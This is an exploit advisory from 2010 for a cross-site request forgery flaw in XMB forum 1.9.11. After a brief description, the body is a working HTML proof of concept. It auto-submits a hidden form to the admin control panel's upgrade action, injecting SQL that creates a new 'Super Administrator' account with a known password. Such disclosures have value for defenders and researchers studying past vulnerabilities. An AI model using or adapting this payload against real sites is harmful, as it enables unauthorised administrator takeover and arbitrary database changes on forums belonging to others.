xmb1911-xsrf.txt
Posted on 17 September 2010
<!------------------------------------------------------------------------ # Software................XMB 1.9.11 # Vulnerability...........Cross-site Request Forgery # Download................http://www.xmbforum.com/ # Release Date............9/16/2010 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................John Leitch # Site....................http://www.johnleitch.net/ # Email...................john.leitch5@gmail.com # ------------------------------------------------------------------------ # # --Description-- # # A cross-site request forgery vulnerability in XMB 1.9.11 can be # exploited to execute arbitrary SQL. # # # --PoC--> <html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/xmb/cp.php?action=upgrade"> <input type="hidden" name="upgrade" value="INSERT INTO xmb_members (username, password, status) VALUES ('new_admin', md5('Password1'), 'Super Administrator')" /> <input type="hidden" name="upgradesubmit" value="Submit Changes" /> </form> </body> </html>
